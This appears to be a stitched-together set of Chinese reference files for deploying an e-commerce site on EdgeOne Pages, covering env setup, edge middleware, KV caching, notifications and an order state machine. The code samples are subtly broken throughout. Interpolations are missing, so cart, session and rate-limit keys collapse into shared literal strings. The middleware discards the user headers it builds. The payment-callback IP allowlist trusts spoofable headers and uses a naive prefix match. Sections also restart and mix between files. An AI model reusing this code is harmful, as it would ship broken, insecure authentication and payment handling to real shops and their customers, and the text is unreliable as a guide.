# 交互式初始化（回答引导问题）
npx create-edgeone-app

# 或手动创建后部署
cd my-site
edgeone pages deploy
```

### 1.3 环境变量配置（EdgeOne Console）

在 EdgeOne Console → 项目设置 → 环境变量中注入：

```bash
# === 认证（Phase 3 RS256）===
JWT_PRIVATE_KEY=<私钥内容，换行替换为\n>
JWT_PUBLIC_KEY=<公钥内容，换行替换为\n>
JWT_SECRET=<HS256密钥，30天兼容用>

# === 数据库 ===
DATABASE_URL=mysql://user:password@host:3306/dbname

# === 微信支付 ===
WX_APPID=wx...
WX_MCHID=1234567890
WX_API_KEY=...
WX_CERT_PATH=./cert/apiclient_cert.pem

# === 支付宝 ===
ALI_APP_ID=202100...
ALI_PRIVATE_KEY=...

# === AI（AI 栈）===
AI_API_KEY=sk-...

# === 内部网关 ===
EDGE_BASE=https://xxx.edgeone.dev

# === 站点 ===
SITE_URL=https://your-site.edgeone.cool
```

### 1.4 数据库迁移

```bash
# 1. 执行初始化迁移
mysql -h host -u user -p dbname < db/migrations/001_init.sql

# 2. 执行订单日志迁移
mysql -h host -u user -p dbname < db/migrations/002_order_logs.sql
```

### 1.5 部署

```bash
# 部署（自动构建 + 上传 + 部署）
edgeone pages deploy --project my-site --output ./dist

# 部署后查看 URL
edgeone pages list
```

---

## 二、部署配置（edgeone.json）

```json
{
  "name": "my-geek-mall",
  "output": "./dist",
  "env": "production",
  "routes": [
    {
      "pattern": "/api/*",
      "target": "edge-functions"
    },
    {
      "pattern": "/api/pay/*",
      "target": "cloud-functions"
    }
  ],
  "vars": {
    "SITE_URL": "https://my-geek-mall.edgeone.cool"
  }
}
```

---

## 三、Edge Functions vs Cloud Functions 路由

EdgeOne Pages 自动识别：
- `edge-functions/` → 编译为 Edge Functions（部署到全球边缘节点）
- `cloud-functions/` → 编译为 Cloud Functions（Node.js）
- `client/` → 编译为静态资源（SPA）

### 手动指定路由

在 `edgeone.json` 中配置路由规则：

```json
{
  "routing": {
    "/api/auth/*": "cloud-functions",
    "/api/pay/*": "cloud-functions",
    "/api/admin/*": "cloud-functions",
    "/api/order/*": "cloud-functions",
    "/api/ai/*": "cloud-functions",
    "/api/*": "edge-functions"
  }
}
```

---

## 四、KV Storage 配置

在 EdgeOne Console 中创建 KV 命名空间：

```
KV Namespaces:
  - main: 用于 Session、RT、Cart、AI History
```

绑定到 Edge Functions 环境变量：

```bash
KV_NAMESPACE=main
```

> ⚠️ **重要**：KV 仅 Edge Functions 可直接访问。Cloud Functions 需通过 HTTP 调用 Edge Function `edge-functions/api/internal/*` 访问 KV。

---

## 五、Cron 定时任务配置

在 `edgeone.json` 中配置定时触发器：

```json
{
  "triggers": [
    {
      "name": "order-cron",
      "type": "schedule",
      "cron": "*/5 * * * *",
      "function": "cloud-functions/cron/order-cron.js",
      "enabled": true
    }
  ]
}
```

或通过 EdgeOne Console UI 配置。

---

## 六、域名绑定（可选）

```bash
# 添加自定义域名
edgeone domains add --project my-site --domain shop.example.com

# 验证 DNS
edgeone domains verify --project my-site --domain shop.example.com

# 申请 SSL 证书（自动）
edgeone ssl issue --project my-site --domain shop.example.com
```

---

## 七、本地开发

```bash
# 1. 启动本地 Edge Functions 模拟器
edgeone dev

# 2. 启动本地 Next.js 开发服务器（单独进程）
npm run dev

# 3. 两个服务并行运行：
# - EdgeOne dev: http://localhost:8787
# - Next.js: http://localhost:3000
```

### 本地 .env.local

```bash
# .env.local（本地开发）
JWT_PRIVATE_KEY="$(cat keys/private.pem | tr '\n' ' ')"
JWT_PUBLIC_KEY="$(cat keys/public.pem | tr '\n' ' ')"
JWT_SECRET=local-dev-secret
DATABASE_URL=mysql://root:password@localhost:3306/geek_mall
EDGE_BASE=http://localhost:8787
```

---

## 八、回滚与监控

### 回滚

```bash
# 查看部署历史
edgeone pages deployments list --project my-site

# 回滚到指定版本
edgeone pages rollback --project my-site --deployment d-xxxxx
```

### 监控

```bash
# 查看实时日志
edgeone logs --project my-site --function edge-functions/api/products/list.js --tail

# 查看调用统计
edgeone pages stats --project my-site --period 24h
```

---

## 九、常见问题

### Q: 部署后 KV 数据丢失？
A: KV 数据在项目关联的 KV Namespace 中，删除项目会清空。迁移时需导出 KV 数据。

### Q: Cloud Functions 访问不到 KV？
A: 这是 EdgeOne Pages 平台约束。解决方案：通过 `fetch(EDGE_BASE + '/api/internal/idempotency')` 从 Cloud 调用 Edge Function 访问 KV。

### Q: 微信回调返回 "签名验证失败"？
A: 微信 V3 回调需使用微信平台证书公钥验签，证书每 1 年需更新。

### Q: JWT RS256 签发失败？
A: 检查 `JWT_PRIVATE_KEY` 环境变量格式，确保换行符正确转义为 `\n`。

> **版本：** v2.2 · **Phase：** Layer 0（Core）
> **职责：** Edge Middleware + 读操作 API + KV 访问

---

## 一、Edge Functions 概述

Edge Functions 运行在 **V8 引擎**，无密钥（密钥在 Cloud Functions），响应极快，适合读操作。

### 与 Cloud Functions 的职责划分

| 场景 | Edge Functions（V8 + KV） | Cloud Functions（Node.js） |
|------|--------------------------|---------------------------|
| JWT 校验 | ✅ crypto.subtle | — |
| KV 读写 | ✅ 原生访问 | ❌（通过 HTTP 调用 Edge） |
| Session 读取 | ✅ | — |
| 限流 | ✅ KV 滑动窗口 | — |
| 幂等锁 | ✅ putIfNotExists | — |
| 产品列表（无筛选） | ✅ KV 缓存 | — |
| 商品详情 | ✅ KV 缓存 | — |
| 订单创建 | — | ✅ SELECT FOR UPDATE |
| 用户注册（bcrypt） | — | ✅ |
| 支付回调 | — | ✅ 微信/支付宝 SDK |
| AI SSE 流 | — | ✅ waitUntil |

---

## 二、Edge Middleware（_middleware.js）

Edge Middleware 在**每个 Edge Function 请求**前执行：

```javascript
// edge-functions/_middleware.js

import { verifyAccessToken, extractToken } from './utils/jwt-helper.js';
import { checkRateLimit } from './utils/rate-limit.js';

export async function onRequest(context) {
  const { request, env } = context;

  // === 1. 公开路径放行 ===
  const publicPaths = ['/', '/login', '/register', '/api/products'];
  const url = new URL(request.url);
  if (publicPaths.some(p => url.pathname === p || url.pathname.startsWith(p + '/'))) {
    if (url.pathname.startsWith('/api/') && !url.pathname.startsWith('/api/auth/')) {
      // 公开 API（如产品列表）无需认证
    }
    return context.next(); // 继续到具体 Function
  }

  // === 2. 提取 Token ===
  const tokenData = extractToken(request);
  if (!tokenData) {
    return new Response('Unauthorized', { status: 401 });
  }

  // === 3. JWT 验证 ===
  const payload = await verifyAccessToken(tokenData.token, env);
  if (!payload) {
    return new Response('Invalid token', { status: 401 });
  }

  // === 4. 限流 ===
  const clientId = payload.sub || request.headers.get('CF-Connecting-IP');
  const { allowed } = await checkRateLimit(context, `global:clientId`, 100);
  if (!allowed) {
    return new Response('Rate limited', { status: 429, headers: { 'Retry-After': '60' } });
  }

  // === 5. 注入用户信息到 context ===
  // 方式 A：通过 x-user-id / x-user-role 响应头传递给具体 Function
  // 方式 B：Edge Function 直接调用 verifyAccessToken（推荐，减少中间件复杂度）
  return context.next();
}
```

---

## 三、常用 Edge API

### 3.1 获取当前用户

```javascript
// edge-functions/api/auth/me.js
export async function onRequest(context) {
  const { request, env } = context;
  const payload = await verifyAccessToken(extractToken(request)?.token, env);

  if (!payload) {
    return new Response(JSON.stringify({ error: 'Unauthorized' }), { status: 401 });
  }

  // 从 KV 读取 Session 补充信息
  const session = await env.KV.get(`session:payload.sub`);
  const user = session ? JSON.parse(session) : { id: payload.sub, email: payload.email };

  return new Response(JSON.stringify(user), {
    headers: { 'Content-Type': 'application/json' }
  });
}
```

### 3.2 产品列表（KV 缓存 + 回源）

```javascript
// edge-functions/api/products/list.js

const CACHE_TTL = 300; // 5 min

export async function onRequest(context) {
  const { env } = context;

  // KV 读取（缓存命中）
  const cached = await env.KV.get('products:list:default');
  if (cached) {
    return new Response(cached, {
      headers: { 'Content-Type': 'application/json', 'X-Cache': 'HIT' }
    });
  }

  // 缓存未命中 → 回源 Cloud MySQL（通过内部 HTTP）
  const products = await fetch(`env.EDGE_BASE/internal/products`, {
    headers: { 'X-Internal-Key': env.INTERNAL_KEY }
  }).then(r => r.json());

  // 写入 KV
  await env.KV.put('products:list:default', JSON.stringify(products), {
    expirationTtl: CACHE_TTL
  });

  return new Response(JSON.stringify(products), {
    headers: { 'Content-Type': 'application/json', 'X-Cache': 'MISS' }
  });
}
```

### 3.3 KV 购物车

```javascript
// edge-functions/api/cart/*.js

// GET /api/cart — 读取购物车
export async function onRequest(context) {
  const { request, env } = context;
  const payload = await verifyAccessToken(extractToken(request)?.token, env);
  if (!payload) return new Response('Unauthorized', { status: 401 });

  const cart = await env.KV.get(`cart:payload.sub`);
  return new Response(cart || '[]', { headers: { 'Content-Type': 'application/json' } });
}

// POST /api/cart — 添加商品
// Body: { productId, qty }
export async function onRequest(context) {
  const { request, env } = context;
  const payload = await verifyAccessToken(extractToken(request)?.token, env);
  if (!payload) return new Response('Unauthorized', { status: 401 });

  const { productId, qty } = await request.json();
  const cart = JSON.parse(await env.KV.get(`cart:payload.sub`) || '[]');

  const existing = cart.find(i => i.productId === productId);
  if (existing) {
    existing.qty += qty;
  } else {
    cart.push({ productId, qty });
  }

  await env.KV.put(`cart:payload.sub`, JSON.stringify(cart), {
    expirationTtl: 30 * 86400 // 30 天
  });

  return new Response(JSON.stringify({ ok: true, cart }), {
    headers: { 'Content-Type': 'application/json' }
  });
}
```

---

## 四、KV Helper 封装

```javascript
// edge-functions/utils/kv-helper.js

/**
 * 安全的 KV 读取，返回 null 而不是抛错
 */
export async function kvGet(kv, key) {
  try {
    const value = await kv.get(key);
    return value ? JSON.parse(value) : null;
  } catch {
    return null;
  }
}

/**
 * 原子递增（用于计数器/限流）
 */
export async function kvIncr(kv, key) {
  const current = parseInt(await kv.get(key) || '0');
  await kv.put(key, String(current + 1));
  return current + 1;
}

/**
 * 乐观锁写入（version 字段）
 */
export async function kvUpdateWithVersion(kv, key, updateFn) {
  const data = await kvGet(kv, key);
  if (!data) return null;

  const newData = updateFn({ ...data });
  newData.version = (data.version || 0) + 1;

  // 比较并写入（Cloudflare KV 乐观锁近似实现）
  await kv.put(key, JSON.stringify(newData), { expirationTtl: 86400 });
  return newData;
}
```

## 五、环境变量（Edge Functions）

| 变量 | 必填 | 说明 |
|------|------|------|
| `JWT_PRIVATE_KEY` | ✅（Phase 3） | RS256 私钥 |
| `JWT_PUBLIC_KEY` | ✅（Phase 3） | RS256 公钥 |
| `JWT_SECRET` | ✅（兼容） | HS256 密钥（30 天兼容） |
| `EDGE_BASE` | ✅（电商） | Cloud Function 内部网关 |
| `INTERNAL_KEY` | ✅（电商） | 内部调用鉴权 |
| `SITE_URL` | 可选 | 站点 URL（SEO 用） |

FILE:references/kv-storage.md
# KV Storage 参考文档

## 一、KV 命名空间设计

EdgeOne Pages 提供两个 KV Namespace：
- `auth_ns`：认证数据（user、session、refresh_token）
- `kv_ns`：业务数据（cart、order、product、ai_session）

Node Functions 必须单独绑定 auth_ns。

## 二、Key 命名规范（含租户前缀占位）

```typescript
// sharing/kv-keys.ts
// Phase 1 填固定值 "default"，Phase 3 替换为动态 tenantId

export const kvKey = {
  user: (tenantId, userId) => `tenantId:user:userId`,
  session: (tenantId, sessionId) => `tenantId:session:sessionId`,
  rtMeta: (tenantId, userId) => `tenantId:rt:userId:meta`,
  product: (tenantId, productId) => `tenantId:product:productId`,
  productList: (tenantId) => `tenantId:products:list`,
  cart: (tenantId, userId) => `tenantId:cart:userId`,
  order: (tenantId, orderId) => `tenantId:order:orderId`,
  orderByUser: (tenantId, userId) => `tenantId:orders:user:userId`,
  aiSession: (tenantId, userId, sessionId) => `tenantId:ai:userId:sessionId`,
  idempotency: (tradeNo) => `pay:idempotency:tradeNo`,
  rateLimit: (key, window) => `rl:key:Math.floor(Date.now() / (window * 1000))`,
};
```

## 三、分层查询策略

| 场景 | 实现 | 原因 |
|------|------|------|
| 单商品读取 | KV 缓存 | kv.get 极快 |
| 商品列表（首页，无筛选） | KV 第1页缓存 | 首页访问量最大 |
| 分类+价格筛选 | Cloud MySQL | KV 不支持复合条件 |
| 关键词搜索 | Cloud MySQL FULLTEXT | KV 不支持 LIKE |
| AI 会话历史 | KV list | kv.list('ai:userId:') |
| 订单统计（多条件聚合） | Cloud MySQL | KV 不支持聚合 |

## 四、索引 KV 模式

```javascript
// 写入订单时同步写入索引
await kv.put(`order:orderId`, JSON.stringify(order));
await kv.put(`idx:order:date:dateStr:orderId`, '1');
await kv.put(`idx:order:status:status:orderId`, '1');
await kv.put(`idx:order:user:userId:orderId`, '1');

// 查询"今日所有 PAID 订单"
const keys = await kv.list({ prefix: `idx:order:date:today:` });
const orderIds = keys.map(k => k.name.split(':').pop());
const orders = await Promise.all(orderIds.map(id => kv.get(`order:id`)));
```

## 五、数据过期策略

```javascript
kv.put(`session:sessionId`, data, { expirationTtl: 86400 });      // 24h
kv.put(`order:orderId`, data, { expirationTtl: 7776000 });          // 90d
kv.put(`ai_session:userId:sessionId`, data, { expirationTtl: 2592000 }); // 30d
kv.putIfNotExists(`pay:idempotency:tradeNo`, id, { expirationTtl: 86400 }); // 24h
```

### 为什么需要双层？

| 层级 | 执行时机 | 用途 |
|------|---------|------|
| Platform Middleware | **每个请求**（HTML/静态/API） | 全局安全头、CORS、支付回调 bypass |
| Edge Middleware | 仅 Edge Function 请求 | JWT 详细校验、KV 限流 |

---

## 二、Platform Middleware

```javascript
// middleware.js（项目根目录）

export function onRequest(context) {
  const { request, env, next } = context;
  const url = new URL(request.url);
  const pathname = url.pathname;

  // === ① CORS 预检 ===
  if (request.method === 'OPTIONS') {
    return new Response(null, {
      status: 204,
      headers: {
        'Access-Control-Allow-Origin': env.ALLOWED_ORIGIN || '*',
        'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS',
        'Access-Control-Allow-Headers': 'Content-Type, Authorization',
        'Access-Control-Max-Age': '86400'
      }
    });
  }

  // === ② CSP Header 注入（仅 HTML）===
  const contentType = request.headers.get('Content-Type') || '';
  if (contentType.includes('text/html')) {
    const response = next(); // 获取原始响应
    const CSP = [
      "default-src 'self'",
      "script-src 'self' 'unsafe-inline'", // Skill 生成代码含内联脚本
      "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
      "font-src 'self' https://fonts.gstatic.com",
      "img-src 'self' data: https:",
      "connect-src 'self' https://api.edgeone.dev https://api.weixin.qq.com https://openapi.alipay.com",
      "frame-ancestors 'none'",
      "base-uri 'self'",
      "form-action 'self'"
    ].join('; ');

    const newHeaders = new Headers(response.headers);
    newHeaders.set('Content-Security-Policy', CSP);
    newHeaders.set('X-Content-Type-Options', 'nosniff');
    newHeaders.set('X-Frame-Options', 'DENY');
    newHeaders.set('Referrer-Policy', 'strict-origin-when-cross-origin');

    return new Response(response.body, {
      status: response.status,
      statusText: response.statusText,
      headers: newHeaders
    });
  }

  // === ③ 轻量 Bearer 检查（可选，放行公开 API）===
  const publicApiPrefixes = ['/api/products', '/api/categories'];
  if (publicApiPrefixes.some(p => pathname.startsWith(p))) {
    return next();
  }

  // === ④ 支付回调独立路径（IP 白名单 + 直接 return）===
  if (pathname === '/api/pay/wx-notify' || pathname === '/api/pay/ali-notify') {
    // 微信/支付宝 IP 白名单（可扩展）
    const allowedIps = [
      '101.226.90.0/24', // 微信支付
      '110.42.0.0/16',  // 支付宝
    ];
    const clientIp = request.headers.get('CF-Connecting-IP') ||
                    request.headers.get('X-Real-IP') || '';

    if (!isIpAllowed(clientIp, allowedIps)) {
      console.warn(`[Middleware] Blocked pay callback from IP: clientIp`);
      return new Response('Forbidden', { status: 403 });
    }

    // 直接 return，不继续到 Edge Middleware（回调没有 JWT）
    return next();
  }

  return next();
}

function isIpAllowed(ip, allowedCidrs) {
  // 简化的 CIDR 判断
  return allowedCidrs.some(cidr => {
    const [range, bits] = cidr.split('/');
    return ip.startsWith(range.split('.').slice(0, parseInt(bits) / 8).join('.'));
  });
}
```

---

## 三、Edge Middleware（_middleware.js）

```javascript
// edge-functions/_middleware.js

import { verifyAccessToken, extractToken } from './utils/jwt-helper.js';
import { checkRateLimit } from './utils/rate-limit.js';

export async function onRequest(context) {
  const { request, env } = context;
  const url = new URL(request.url);

  // === 公开路径放行 ===
  const publicPaths = ['/api/products', '/api/categories'];
  if (publicPaths.some(p => url.pathname.startsWith(p))) {
    return context.next();
  }

  // === Auth 路径放行 ===
  if (url.pathname.startsWith('/api/auth/login') || url.pathname.startsWith('/api/auth/register')) {
    return context.next();
  }

  // === RT 刷新路径放行 ===
  if (url.pathname === '/api/auth/refresh') {
    return context.next();
  }

  // === 提取 + 验证 JWT ===
  const tokenData = extractToken(request);
  if (!tokenData) {
    return new Response(JSON.stringify({ error: 'Unauthorized' }), {
      status: 401, headers: { 'Content-Type': 'application/json' }
    });
  }

  const payload = await verifyAccessToken(tokenData.token, env);
  if (!payload) {
    return new Response(JSON.stringify({ error: 'Token expired or invalid' }), {
      status: 401, headers: { 'Content-Type': 'application/json' }
    });
  }

  // === 限流（AI 栈专用）===
  if (url.pathname.startsWith('/api/ai/')) {
    const clientId = payload.sub || request.headers.get('CF-Connecting-IP');
    const limit = payload.role === 'admin' ? 200 : 60; // admin 更高限额
    const { allowed, resetMs } = await checkRateLimit(context, `ai:clientId`, limit);
    if (!allowed) {
      return new Response(JSON.stringify({ error: 'Rate limited' }), {
        status: 429,
        headers: { 'Retry-After': String(Math.ceil(resetMs / 1000)) }
      });
    }
  }

  // 注入用户信息到 request.headers（Edge Function 可读取）
  const newRequest = new Request(request, {
    headers: new Headers(request.headers)
  });
  newRequest.headers.set('X-User-Id', payload.sub);
  newRequest.headers.set('X-User-Role', payload.role);

  return context.next();
}
```

## 四、响应头汇总

| Header | 值 | 注入位置 |
|--------|-----|---------|
| `Content-Security-Policy` | CSP 指令 | Platform（HTML） |
| `X-Content-Type-Options` | `nosniff` | Platform |
| `X-Frame-Options` | `DENY` | Platform |
| `Referrer-Policy` | `strict-origin-when-cross-origin` | Platform |
| `X-User-Id` | 用户 ID | Edge Middleware |
| `X-User-Role` | `user/admin` | Edge Middleware |
| `Access-Control-Allow-Origin` | `*` | Platform（CORS） |

FILE:references/notification-module.md
# Notification 模块参考文档

> **版本：** v2.2 · **Phase：** Layer 2 Addon（Phase 2 实现）
> **职责：** 统一事件驱动的通知发送（邮件/微信/钉钉/SMS）

---

## 1. 架构设计

```
业务事件发生
    ↓
emit(event, payload)  ← 业务代码调用
    ↓
钩子注册表查找（registerHandler）
    ↓
并行触发所有已注册处理器
    ↓
各通道适配器独立执行（失败不阻塞其他通道）
```

**设计原则**：
- 事件驱动：业务代码只调用 `emit()`，不直接写通知逻辑
- 通道解耦：每种通知方式独立适配器，插拔式
- 优雅降级：某个通道失败不影响其他通道
- 异步执行：通知不阻塞主业务流程

---

## 2. 事件类型

```javascript
export const NotificationEvent = {
  // 订单事件
  ORDER_CREATED:    'order.created',    // 订单创建
  ORDER_PAID:        'order.paid',      // 支付成功
  ORDER_SHIPPED:     'order.shipped',   // 已发货
  ORDER_DELIVERED:   'order.delivered', // 已签收
  ORDER_CANCELLED:   'order.cancelled', // 已取消
  ORDER_REFUNDED:    'order.refunded',  // 已退款
  ORDER_COMPLETED:   'order.completed', // 已完成

  // 用户事件
  USER_REGISTERED:  'user.registered', // 注册成功
  PASSWORD_CHANGED: 'password.changed', // 密码修改
  EMAIL_VERIFIED:   'email.verified',  // 邮箱验证
};
```

---

## 3. 通道适配器

### 3.1 邮件适配器（需 SMTP 配置）

**环境变量**：
```
NOTIFICATION_SMTP_HOST=smtp.example.com
NOTIFICATION_SMTP_PORT=587
[email protected]
NOTIFICATION_SMTP_PASS=xxxx
[email protected]
NOTIFICATION_FROM_NAME=网站名称
```

**适配器实现**：

```javascript
// cloud-functions/utils/notification/channels/email.js
import nodemailer from 'nodemailer';

let transporter = null;

function getTransporter(env) {
  if (!transporter) {
    transporter = nodemailer.createTransport({
      host: env.NOTIFICATION_SMTP_HOST,
      port: parseInt(env.NOTIFICATION_SMTP_PORT || '587'),
      secure: env.NOTIFICATION_SMTP_PORT === '465',
      auth: {
        user: env.NOTIFICATION_SMTP_USER,
        pass: env.NOTIFICATION_SMTP_PASS,
      },
    });
  }
  return transporter;
}

export async function sendEmail(env, { to, subject, html }) {
  if (!env.NOTIFICATION_SMTP_HOST) {
    console.log('[Email] SMTP not configured, skipping');
    return;
  }
  try {
    await getTransporter(env).sendMail({
      from: `"env.NOTIFICATION_FROM_NAME" <env.NOTIFICATION_FROM_EMAIL>`,
      to,
      subject,
      html,
    });
    console.log(`[Email] Sent to to: subject`);
  } catch (err) {
    console.error(`[Email] Failed to send to to:`, err.message);
    throw err; // 让 emit() 捕获但不阻塞其他通道
  }
}
```

### 3.2 微信模板消息（需微信公众号配置）

**环境变量**：
```
WX_APPID=wx1234567890
WX_TEMPLATE_ID_ORDER=xxxxx
WX_TEMPLATE_ID_SHIP=xxxxx
```

**适配器实现**：

```javascript
// cloud-functions/utils/notification/channels/wechat.js
// 需要微信公众号的 Access Token（需定期刷新）

async function getAccessToken(env) {
  const cacheKey = 'wx:access_token';
  const cached = await KV.get(cacheKey);
  if (cached) return cached;

  const res = await fetch(
    `https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=env.WX_APPID&secret=env.WX_APP_SECRET`
  );
  const data = await res.json();
  await KV.put(cacheKey, data.access_token, { expirationTtl: 7000 }); // 提前 3 分钟过期
  return data.access_token;
}

export async function sendWechatTemplate(env, { openid, templateId, data }) {
  if (!env.WX_APPID || !templateId) return;
  const token = await getAccessToken(env);
  await fetch(`https://api.weixin.qq.com/cgi-bin/message/template/send?access_token=token`, {
    method: 'POST',
    body: JSON.stringify({
      touser: openid,
      template_id: templateId,
      data,
    }),
  });
}
```

### 3.3 钉钉 Webhook

```javascript
// cloud-functions/utils/notification/channels/dingtalk.js
export async function sendDingtalk(env, { msgtype = 'text', content, title }) {
  if (!env.DINGTALK_WEBHOOK_URL) return;
  await fetch(env.DINGTALK_WEBHOOK_URL, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ msgtype, text: { content }, title }),
  });
}
```

---

## 4. 事件处理器注册

```javascript
// cloud-functions/utils/notification-hooks.js
import { sendEmail } from './channels/email.js';
import { sendWechatTemplate } from './channels/wechat.js';
import { sendDingtalk } from './channels/dingtalk.js';

// 订单支付成功：发邮件 + 发微信模板
registerHandler(NotificationEvent.ORDER_PAID, async ({ order, user, env }) => {
  await Promise.allSettled([
    sendEmail(env, {
      to: user.email,
      subject: `订单 order.order_no 支付成功`,
      html: `<h2>感谢您的购买！</h2><p>订单号：order.order_no</p><p>金额：¥order.total</p>`,
    }),
    user.openid ? sendWechatTemplate(env, {
      openid: user.openid,
      templateId: env.WX_TEMPLATE_ID_ORDER,
      data: {
        keyword1: { value: order.order_no },
        keyword2: { value: `¥order.total` },
        keyword3: { value: '支付成功' },
      },
    }) : Promise.resolve(),
  ]);
});

// 订单发货：发邮件
registerHandler(NotificationEvent.ORDER_SHIPPED, async ({ order, user, env }) => {
  await sendEmail(env, {
    to: user.email,
    subject: `订单 order.order_no 已发货`,
    html: `<p>快递公司：order.express_company</p><p>运单号：order.express_no</p>`,
  });
  // 管理员通知（钉钉群）
  await sendDingtalk(env, {
    content: `📦 订单 order.order_no 已发货，请关注`,
  });
});
```

---

## 5. 业务调用示例

```javascript
// cloud-functions/api/pay/wx-notify.js
import { emit, NotificationEvent } from '../../utils/notification-hooks.js';

export async function onRequest(request, env) {
  const { out_trade_no, transaction_id, trade_state } = await parseCallback(request);

  if (trade_state === 'SUCCESS') {
    const order = await updateOrderToPaid(out_trade_no, transaction_id, env);
    const user = await getUserByOrder(order.user_id, env);

    // 异步发送通知（不阻塞回调响应）
    emit(NotificationEvent.ORDER_PAID, { order, user, env });
  }

  return new Response('SUCCESS');
}
```

---

## 6. Phase 1 vs Phase 2 区别

| 项目 | Phase 1 | Phase 2 |
|------|---------|---------|
| 钩子结构 | 空壳（仅框架） | 邮件/微信/钉钉适配器 |
| 事件类型 | 2 个 | 11 个 |
| 调用方式 | 预留接口 | 完整实现 |
| 配置 | 无 | env-vars 注入 |

# 订单状态机参考文档

> **版本：** v2.2 · **Phase：** P2（可选）
> **职责：** 规范化订单状态流转，防止非法状态变迁导致数据不一致

---

## 1. 状态定义

| 状态 | 值（DB 存储） | 说明 |
|------|-------------|------|
| 待支付 | `PENDING` | 订单创建，等待用户支付 |
| 已支付 | `PAID` | 支付成功，等待发货 |
| 已发货 | `SHIPPED` | 管理员填写物流信息 |
| 已完成 | `COMPLETED` | 用户确认收货或 7 天无售后自动 |
| 已取消 | `CANCELLED` | 用户取消或超时未支付 |
| 已退款 | `REFUNDED` | 用户/管理员发起退款 |

---

## 2. 完整状态流转图

```
┌──────────┐ pay      ┌───────┐ ship     ┌──────────┐ confirm  ┌───────────┐
│ PENDING  │ ───────→ │ PAID  │ ───────→ │ SHIPPED  │ ───────→ │ COMPLETED │
└──────────┘          └───────┘          └──────────┘          └───────────┘
     │                      │                                        │
     │ cancel(user)         │ refund(user/admin)                     │ refund(admin)
     ↓                      ↓                                        ↓
┌──────────┐          ┌──────────┐                              ┌──────────┐
│ CANCELLED│          │ REFUNDED │                              │ REFUNDED │
└──────────┘          └──────────┘                              └──────────┘

超时未支付(30min) → CANCELLED（系统自动触发）
```

---

## 3. 权限规则矩阵

| 目标状态 | 用户（本人订单） | 管理员 |
|---------|----------------|--------|
| CANCELLED | PENDING 时可取消 | 任意阶段可取消 |
| SHIPPED | — | 仅 PAID 时可操作 |
| COMPLETED | SHIPPED 时可确认 | 任意阶段可操作 |
| REFUNDED | PAID/SHIPPED 时可申请 | 任意阶段可退款 |

---

## 4. 各目标状态的触发条件

### 4.1 PENDING → CANCELLED

**触发方**：用户（取消）或系统（超时）

```javascript
// 条件
if (order.status === 'PENDING') {
  // 用户取消：本人订单，任意时间
  // 系统超时：created_at 超过 30 分钟未支付
}
```

### 4.2 PENDING → PAID

**触发方**：支付回调

```javascript
// 条件
if (order.status === 'PENDING' && verifyAmount(order, callback)) {
  // 金额核对一致
}
```

### 4.3 PAID → SHIPPED

**触发方**：管理员（填写物流信息）

```javascript
// 条件
if (order.status === 'PAID' && req.body.express_company && req.body.express_no) {
  // 需管理员权限
  // 需填写快递公司和运单号
}
```

### 4.4 SHIPPED → COMPLETED

**触发方**：用户确认 / 系统自动

```javascript
// 条件
if (order.status === 'SHIPPED') {
  // 用户点击"确认收货"
  // 或：paid_at + 7天 < now（无售后自动完成，需定时任务）
}
```

### 4.5 PAID/SHIPPED/COMPLETED → REFUNDED

**触发方**：用户（PAID）/ 管理员（任意阶段）

```javascript
// 条件
if (canRefund(order.status, role, userId)) {
  // PAID 阶段：用户可直接申请退款
  // SHIPPED 阶段：需先退货
  // COMPLETED 阶段：仅管理员可退款（需审批流程）
}
```

---

## 5. 状态机核心实现

```javascript
// cloud-functions/utils/order-state-machine.js

export const OrderStatus = {
  PENDING:   'PENDING',
  PAID:      'PAID',
  SHIPPED:   'SHIPPED',
  COMPLETED: 'COMPLETED',
  CANCELLED: 'CANCELLED',
  REFUNDED:  'REFUNDED',
};

// 状态流转规则表：currentStatus → [allowedNextStatuses]
const TRANSITIONS = {
  [OrderStatus.PENDING]:   [OrderStatus.PAID, OrderStatus.CANCELLED],
  [OrderStatus.PAID]:      [OrderStatus.SHIPPED, OrderStatus.REFUNDED],
  [OrderStatus.SHIPPED]:    [OrderStatus.COMPLETED, OrderStatus.REFUNDED],
  [OrderStatus.COMPLETED]: [OrderStatus.REFUNDED],
  [OrderStatus.CANCELLED]: [],  // 终态
  [OrderStatus.REFUNDED]:   [],  // 终态
};

// 权限校验：哪些角色可以触发哪些状态变更
const PERMISSIONS = {
  'PENDING→CANCELLED': ['user:own', 'admin'],
  'PAID→SHIPPED':       ['admin'],
  'PAID→REFUNDED':      ['user:own', 'admin'],
  'SHIPPED→COMPLETED':  ['user:own', 'admin'],
  'SHIPPED→REFUNDED':   ['user:own', 'admin'],
  'COMPLETED→REFUNDED': ['admin'],
};

export function canTransition(from, to, { role, userId, orderUserId }) {
  const allowed = TRANSITIONS[from];
  if (!allowed || !allowed.includes(to)) {
    throw new StateMachineError(`禁止的状态变更：from → to`);
  }

  const permKey = `from→to`;
  const required = PERMISSIONS[permKey];
  if (!required) throw new StateMachineError(`未定义权限：permKey`);

  const isOwn = userId === orderUserId;
  const roleTag = role === 'admin' ? 'admin' : (isOwn ? 'user:own' : 'user:other');

  if (!required.includes(roleTag)) {
    throw new StateMachineError(`权限不足：需要 required.join('/')，当前 roleTag`);
  }

  return true;
}

export class StateMachineError extends Error {
  constructor(message) {
    super(message);
    this.name = 'StateMachineError';
  }
}
```

---

## 6. 与库存联动

取消订单（CANCELLED）和退款（REFUNDED）需要回补库存：

```javascript
// 取消/退款时回补库存
async function releaseStock(pool, orderId) {
  await pool.query(`
    UPDATE products p
    JOIN order_items oi ON p.id = oi.product_id
    SET p.stock = p.stock + oi.qty,
        p.version = p.version + 1
    WHERE oi.order_id = ?
  `, [orderId]);
}
```

---

## 7. 定时任务（Cron）

```javascript
// cloud-functions/cron/order-cron.js
// 部署为定时触发的 Cloud Function

export async function scheduledHandler(env) {
  const pool = await getPool(env.DATABASE_URL);

  // 任务1：超时未支付自动取消（PENDING > 30min）
  await pool.query(`
    UPDATE orders SET status = 'CANCELLED', version = version + 1
    WHERE status = 'PENDING'
      AND created_at < DATE_SUB(NOW(), INTERVAL 30 MINUTE)
  `);

  // 任务2：已发货 7 天无售后自动完成
  await pool.query(`
    UPDATE orders SET status = 'COMPLETED', version = version + 1
    WHERE status = 'SHIPPED'
      AND paid_at < DATE_SUB(NOW(), INTERVAL 7 DAY)
  `);
}
```

---

## 8. 订单日志（审计追踪）

```sql
